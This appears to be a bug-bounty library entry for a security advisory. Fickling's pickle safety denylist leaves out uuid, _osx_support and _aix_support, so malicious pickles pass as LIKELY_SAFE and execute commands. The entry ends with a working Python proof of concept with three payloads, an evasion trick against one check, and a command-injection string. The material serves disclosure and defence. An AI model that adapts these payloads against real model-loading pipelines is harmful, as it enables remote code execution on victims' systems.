# Fickling missing RCE-capable modules in UNSAFE_IMPORTS

Fickling's UNSAFE_IMPORTS blocklist omitted uuid, _osx_support and _aix_support, so malicious pickles using their subprocess/os.system wrappers passed as LIKELY_SAFE and achieved RCE.

- Payout: Research
- Severity: high
- Program: Fickling
- Found by: yash2998chhabria
- Disclosed: 2026-03-04
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-5hwf-rc88-82xm
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-5hwf-rc88-82xm
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:deserialization vuln:rce

**Target:** Python pickle safety analyzer (fickling analysis.py UNSAFE_IMPORTS)
**Root cause:** UNSAFE_IMPORTS is a denylist of 86 stdlib modules and misses uuid, _osx_support and _aix_support, whose functions internally call subprocess.Popen/os.system with attacker-controlled arguments. Because they are stdlib, NonStandardImports and OvertlyBadEvals also skip them.
**Steps:**
1. Identify stdlib modules with command-execution helpers: `uuid._get_command_stdout`, `_osx_support._read_output`/`_find_build_tool`, `_aix_support._read_cmd_output`.
2. Build a pickle via fickling opcode API: `ShortBinUnicode('uuid')`, `ShortBinUnicode('_get_command_stdout')`, `StackGlobal()`, args, `TupleTwo()`, `Reduce()`.
3. Defeat UnusedVariables by appending `EmptyDict(), ShortBinUnicode('x'), ShortBinUnicode('y'), SetItem(), Build()` before `Stop()`.
4. Run `check_safety(p)` — returns `Severity.LIKELY_SAFE, issues=0`.
5. Run `pickle.loads(payload.dumps())` — command executes (prints PROOF_OF_CONCEPT).
6. For _osx_support inject via `%s` format: `_find_build_tool('x; echo INJECTED #')`.
**How found:** Audited the UNSAFE_IMPORTS denylist against Python stdlib source, looking for modules whose functions wrap subprocess.Popen or os.system; noted _osx_support/_aix_support are importable on all platforms despite platform-sounding names, and that stdlib status bypasses both NonStandardImports and OvertlyBadEvals.
**Exploitation:** Attacker ships a pickle file that imports one of the missed stdlib modules and calls its command wrapper via REDUCE with attacker-controlled args; fickling reports LIKELY_SAFE so any pipeline trusting it (e.g. ML model loading) unpickles and executes arbitrary commands.
**Insight:** When auditing a pickle/deserialization denylist, grep the target language's stdlib for internal subprocess/os.system wrappers (including platform-named modules like _osx_support that ship everywhere) rather than only obvious modules like os/subprocess; stdlib membership also defeats 'non-standard import' heuristics.

## Proof of concept (copied exactly from the original report)

**Pickle payloads for uuid, _aix_support, _osx_support RCE**

```
from fickling.fickle import (
    Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
    TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle

frame_data = b"\x95" + struct.pack("<Q", 60)

# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("uuid"),
    ShortBinUnicode("_get_command_stdout"),
    StackGlobal(),
    ShortBinUnicode("echo"),
    ShortBinUnicode("PROOF_OF_CONCEPT"),
    TupleTwo(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_aix_support"),
    ShortBinUnicode("_read_cmd_output"),
    StackGlobal(),
    ShortBinUnicode("echo PROOF_OF_CONCEPT"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_osx_support"),
    ShortBinUnicode("_find_build_tool"),
    StackGlobal(),
    ShortBinUnicode("x; echo INJECTED #"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
    result = check_safety(p)
    print(f"{name}: severity={result.severity}, issues={len(result.results)}")
    # Output: severity=Severity.LIKELY_SAFE, issues=0

# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps())  # prints PROOF_OF_CONCEPT
```

